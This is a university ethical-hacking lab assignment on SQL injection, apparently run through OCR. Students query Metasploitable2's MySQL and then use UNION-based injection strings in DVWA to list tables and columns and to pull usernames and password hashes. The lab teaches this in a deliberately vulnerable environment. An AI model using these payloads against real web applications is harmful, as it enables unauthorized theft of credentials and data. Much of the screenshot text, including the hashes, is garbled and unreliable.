Assignment-8 SQL Injection

CYSE450-Ethical Hacking and Penetration Testing

In this lab, you will understand how to test a web application for SQL injection. You will learn how
to execute error-based and UNION-based SQL injection using Burp Suite.

SQL injection is one of the most common web-based attack which is used to execute malicious
SQL statements.
This exercise requires Metasploitabl2 VM.

Task A: [50 points] Get Familiar with SQL statements. DO NOT forget to put a semi
colon (;) after each SQL query in the command line terminal.

1. Login to metasploitable2 VM
2. Login to MySQL as root [NOTE: There is no password for root in Metasploitable2. So, when
it prompts for password, just hit an “Enter” Key.]
G 1LUN U r WL MU of e
four MysQL connection id is Z1
perver version: 9.0.51a-3ubuntud (Ubuntu)

Type "help:" or "\h' for help. Type "\¢' to clear the buffer.

wsql> _

3. Execute SQL query to retrieve the database available in Metasploitable2 VM




ysql> show database;

ERROR 1064 (42000): You have an error in your
orresponds to your MySQL server version for
ase’ at line |

wsql> show databases:

Infornation _schema
dvua

netasploit

nysq|

owaspll

tikiviki
tikiwikil95

rows in set (0.00 sec)
4. Execute SQL query, use dvwa; (to select dvwa database.)

5. Execute SQL query to retrieve the available tables in dvwa database.



rows 1n set (0,00 sec)

ysql> use dvua
eading table information for completion of tab
ou can turn off this feature to get a quicker

Jatabase changed
ysql> show tables

-) shou tables;
RROR 1064 (42000): You have an error In your
orresponds to your MysQL server version for the
ables’ at line Z
ysql> show tables;

guestbook
USEers

rous 1n set (0.00 sec)

6. Execute the SQL query, SELECT * FROM user; (to retrieve all the rows and columns that

“uxn

are present in the user table. Here is nothing but all.)



passuord

[ | adnin L adnin i admin 1 5f4d 765461468327deb862cf 99
http://172.16.123.123/dvuashackable/users/adnin, jpg
2 1 Gordon i Brown i b 1 €99a18c426cb38d51 2608536789
http://172.16.123.129/dvwa/hackabl ordonb. jpg |
| Ne : 303533475ae2c396647e0d4f cc69216b
http://172.16.123.129/dvua/hacks 571337, jpg
4 | Pablo ic pablo 041074091 Sbbe40cadeddesc?1eJeIb?
http://172.16.123.129/dvwa/hackable/users/pablo. jpg
5 1 Bob i omith snithy 1 5f4dcc3b5aa?b5d61d8327deb8B2cf99
http://172.16.123.129/dvwashackable ithy. jpg
P s S-S

ows in set (0.00 sec)

7. Execute query that retrieves the data where name attributes match admin’. This query
retrieves all the columns associated with name ‘admin’. SELECT * FROM table where

user="admin”;
ysql> select * from users where user="adnin";
i i A O

———

i user_id i first_name i last_name | user i passuord

watar }

————————— ettt e B T ey |
-4

| 11 adnin i adnin i adnin | 5f4dcc3b5aa?b5d61d8327debBB2ct99 |
ittp://172.16.123.129/dwashackablesusers/adnin. jpy |

————————— e B e B |

8. Execute, SELECT * FROM user where user="any” or 1=1;



Here 1=1 always returns true. So, it retrieves all the rows from the database. which is not

supposed to be done.

nysql) select * from users vhere user="any" or 1=1;

t i $ $

t first_nane i last_name i user | passuord

+

i admin adnin i adnin
72.16,123.129/dvwa/hackable/
|f.-1ll_'ll“[1 on i 1rMowl b | 83 ; dch J IrId‘l { ;'fh[.'] H.L'!:'i [E‘I'r"}.

16,123
, d7e0d4 cc69216b

ablo. jpg

| af4dccIbdaaloddoldB3L deb8blct 33

Task B: [50 Points] SQL Injection Attack from Webpage (as a front end user)

1. Inabrowser (in Kali Linux), type the ip address of Metasploitable 2 VM. [DO not Power off
metasploitable2 VM)



Warning: Hever expose this W to an untrusted network!
Contact: msfdev]at]metasploit. com

Login with nsfadein/msTachin to get started

2. Login to DVWA

Welcome to Damn Vulnerable Web App!

General Instructions

oW ety "

st 2
Sscasmy Lavet g
PGS amees

3. Select DVWA Security tab and change the security level to “Low”



Home DVWA Security »

Instructians
Setp Script SEI‘JLlﬂty
Sacufly Level te cummentty low.
Brute Foree
You can et the securdy level 1o low, madium or high.
Command Execution
The sectrry level changes B vulnerabiity level of DWA
CSRF k.
Fil inlusion B o
]
Sl pecion [ PHPIDS
e Lot 0.6 {PHP-rension Desection System) is & secuity leyer for PHP based web applicafions
A58 reflected )
You can enable PHPIDS acrass i site dor the durabion of your session.
55 stored
PHIADS 5 correnty disablod. [ |
E Il |
PHP Infa
m .‘.\‘.‘E'I'n"_- level sai 10 low
Lagout

Usarname: admn
Security Level: iow
PHRIDS: o

4. Select on the “SQL Injection” tab.



s Vulnerability: SQL Injection

nékotchy SR User ID:
Setup —_

|| submt|

Brute Force
Command Execution More info

Usern_ame: admin View Source | View Help
Security Level: low o
PHPIDS: disabied

5. Inthe “User ID” box, type the query using “union” to combine multiple select statements,
to fetch the database name and the username logged in to metasploitable 2 VM.

any’ union select database(),user()’



S Vulnerability: SQL Injection

User ID:

Submit

elect database(),user|

More info

Username: admin View Viewi Help
Security Level: ow s L
PHPIDS; disabled

6. Once you know the name of the database, execute the query to retrieve the tables
available in this database:
any' union select table_name,1 from information_schema.tables where

table_schema='dvwa'#'



— Vulnerability: SQL Injection

- User ID;
|| Stebomit |

ect table_name, ! fron information schesa,taoles where tabls_schena='dywa '’

hle_nane,! fron infarnation schess tables where takle schema='duwa'#'

Uploas | Moreinfo

Username; aomin inw Souice | View Help
Securley bevebibow ~~ ———————
PHPIDS: disabled

7. After retrieving the table names in dvwa database, retrieve the colum names in user table

using the following sql query:

any' union select column_name,column_type from information_schema.columns where

table_schema='dvwa'and table_name="users"#'



Hame Vulnerability: SQL Injection

User ID:

|| Subomt

colunn_name, celuan_type from infommation_schema.colums where table schesa='dvwa® and table name="users"#

imn_type from information_schema.columns whefre table schemas'dwwa’ and table_names"users‘s

lunn_type from information_schema.colums wheire table schemas'dwa’ and table_names*users"#

pct colunn_name, coluan_type from infommation_schema.colum and table_names"users'¥

5 where table_schesa='dvw

calunn_name, coluan_type from information_schema.columns where tahle schema='dvwa' and table name="users"#

ct colunn_name,coluan_type from information_schema.colums where table schemas'dwia’ and table names"users"s

8. Using the information retrieved for column names, retrieve/display the username and

password for all the users in the users table.



Vulnerability: SQL Injection

User ID:

| Submit

t user_id, password from dvwa.userss”

if4dcc 3b5aaT65d61d8327debBB2C FO9

nion select user_id, password from dvwa.userss
1Bc428ch36d5T260853678922003

OVwa . USeIs®

me: @d107d@975bbed@cade3deSc 71

Mare info




